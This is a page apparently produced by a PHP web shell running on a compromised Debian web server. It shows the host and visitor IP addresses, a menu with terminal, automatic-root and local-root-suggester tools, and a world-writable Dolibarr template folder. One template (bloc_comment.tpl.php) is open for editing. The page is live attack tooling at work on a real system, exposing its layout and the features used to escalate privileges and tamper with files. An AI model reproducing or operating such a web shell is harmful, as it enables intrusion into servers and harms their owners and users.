Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
asiafood.apps-dev.fr /
core /
tpl /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxrwxrwx
2020-11-01 13:03
README
123
B
-rwxrwxrwx
2020-11-01 12:56
admin_extrafields_add.tpl.php
13.46
KB
-rwxrwxrwx
2020-11-01 12:56
admin_extrafields_edit.tpl.php
15.51
KB
-rwxrwxrwx
2020-11-01 12:56
admin_extrafields_view.tpl.php
4.64
KB
-rwxrwxrwx
2020-11-01 12:56
advtarget.tpl.php
23.09
KB
-rwxrwxrwx
2020-11-01 12:56
ajaxrow.tpl.php
4.3
KB
-rwxrwxrwx
2020-11-01 12:56
bloc_comment.tpl.php
3.6
KB
-rwxrwxrwx
2020-11-01 12:56
bloc_showhide.tpl.php
3.17
KB
-rwxrwxrwx
2020-11-01 12:56
card_presend.tpl.php
7.76
KB
-rwxrwxrwx
2020-11-01 12:56
commonfields_add.tpl.php
2.01
KB
-rwxrwxrwx
2020-11-01 12:56
commonfields_edit.tpl.php
2.25
KB
-rwxrwxrwx
2020-11-01 12:56
commonfields_view.tpl.php
3.45
KB
-rwxrwxrwx
2020-11-01 12:56
contacts.tpl.php
9.1
KB
-rwxrwxrwx
2020-11-01 12:56
document_actions_post_headers.tpl.php
3.67
KB
-rwxrwxrwx
2020-11-01 12:56
error.tpl.php
781
B
-rwxrwxrwx
2020-11-01 12:56
extrafields_add.tpl.php
1.46
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_edit.tpl.php
1.46
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_list_print_fields.tpl.php
1.64
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_list_search_input.tpl.php
2.31
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_list_search_param.tpl.php
392
B
-rwxrwxrwx
2020-11-01 12:56
extrafields_list_search_sql.tpl.php
1.37
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_list_search_title.tpl.php
1.22
KB
-rwxrwxrwx
2020-11-01 12:56
extrafields_view.tpl.php
8.82
KB
-rwxrwxrwx
2020-11-01 12:56
filemanager.tpl.php
7.32
KB
-rwxrwxrwx
2020-11-01 12:56
footer.tpl.php
781
B
-rwxrwxrwx
2020-11-01 12:56
header.tpl.php
790
B
-rwxrwxrwx
2020-11-01 12:56
index.html
0
B
-rwxrwxrwx
2020-11-01 12:56
login.tpl.php
13.38
KB
-rwxrwxrwx
2020-11-01 12:56
massactions_pre.tpl.php
6.54
KB
-rwxrwxrwx
2020-11-01 12:56
notes.tpl.php
5.34
KB
-rwxrwxrwx
2020-11-01 12:56
object_discounts.tpl.php
5.4
KB
-rwxrwxrwx
2020-11-01 12:56
objectline_create.tpl.php
33.02
KB
-rwxrwxrwx
2020-11-01 12:56
objectline_edit.tpl.php
15.91
KB
-rwxrwxrwx
2020-11-01 12:56
objectline_view.tpl.php
13.99
KB
-rwxrwxrwx
2020-11-01 12:56
onlinepaymentlinks.tpl.php
6.17
KB
-rwxrwxrwx
2020-11-01 12:56
originproductline.tpl.php
1.68
KB
-rwxrwxrwx
2020-11-01 12:56
passwordforgotten.tpl.php
7.05
KB
-rwxrwxrwx
2020-11-01 12:56
resource_add.tpl.php
1.76
KB
-rwxrwxrwx
2020-11-01 12:56
resource_view.tpl.php
4.15
KB
-rwxrwxrwx
2020-11-01 12:56
Save
Rename
<?php // Protection to avoid direct call of template if (empty($conf) || ! is_object($conf)) { print "Error, template page can't be called as URL"; exit; } // Require require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php'; // Vars $userstatic = new User($db); $varpage=empty($contextpage)?$_SERVER["PHP_SELF"]:$contextpage; // Add comment print '<br>'; print '<div id="comment">'; print '<form method="POST" action="'.$varpage.'?id='.$object->id.'">'; print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">'; print '<input type="hidden" name="action" value="addcomment">'; print '<input type="hidden" name="id" value="'.$object->id.'">'; print '<input type="hidden" name="comment_element_type" value="'.$object->element.'">'; print '<input type="hidden" name="withproject" value="'.$withproject.'">'; print '<table class="noborder nohover" width="100%">'; print '<tr class="liste_titre">'; print '<td width="25%">'.$langs->trans("Comments").'</td>'; print '<td width="25%"></td>'; print '<td width="25%"></td>'; print '<td width="25%"></td>'; print "</tr>\n"; print '<tr class="oddeven">'; // Description print '<td colspan="3">'; $desc = GETPOST('comment_description'); $doleditor = new DolEditor('comment_description', $desc, '', 80, 'dolibarr_notes', 'In', 0, true, true, ROWS_3, '100%'); print $doleditor->Create(1); print '</td>'; print '<td align="center">'; print '<input type="submit" class="button" value="'.$langs->trans("Add").'">'; print '</td></tr>'; print '</table></form>'; // List of comments if (!empty($object->comments)) { // Default color for current user $TColors = array($user->id => array('bgcolor'=>'efefef','color'=>'555')); $first = true; foreach($object->comments as $comment) { $fk_user = $comment->fk_user_author; $userstatic->fetch($fk_user); if(empty($TColors[$fk_user])) { $bgcolor = random_color(180,240); if(!empty($userstatic->color)) { $bgcolor = $userstatic->color; } $color = (colorIsLight($bgcolor))?'555':'fff'; $TColors[$fk_user] = array('bgcolor'=>$bgcolor,'color'=>$color); } print '<div class="width100p" style="color:#'.$TColors[$fk_user]['color'].'">'; if ($fk_user != $user->id) { print '<div class="width25p float"> </div>'; } print '<div class="width75p float comment comment-table" style="background-color:#'.$TColors[$fk_user]['bgcolor'].'">'; print '<div class="comment-info comment-cell">'; if (! empty($user->photo)) { print Form::showphoto('userphoto', $userstatic, 80, 0, 0, '', 'small', 0, 1).'<br/>'; } print $langs->trans('User').' : '.$userstatic->getNomUrl().'<br/>'; print $langs->trans('Date').' : '.dol_print_date($comment->datec,'dayhoursec'); print '</div>'; // End comment-info print '<div class="comment-cell comment-right">'; print '<div class="comment-table width100p">'; print '<div class="comment-description comment-cell">'; print $comment->description; print '</div>'; // End comment-description if(($first && $fk_user == $user->id) || $user->admin == 1) { print '<a class="comment-delete comment-cell" href="'.$varpage.'?action=deletecomment&id='.$id.'&withproject=1&idcomment='.$comment->id.'" title="'.$langs->trans('Delete').'">'; print img_picto('', 'delete.png'); print '</a>'; } print '</div>'; // End comment-table print '</div>'; // End comment-right print '</div>'; // End comment if($fk_user == $user->id) { print '<div class="width25p float"> </div>'; } print '<div class="clearboth"></div>'; print '</div>'; // end 100p $first = false; } } print '<br>'; print '</div>';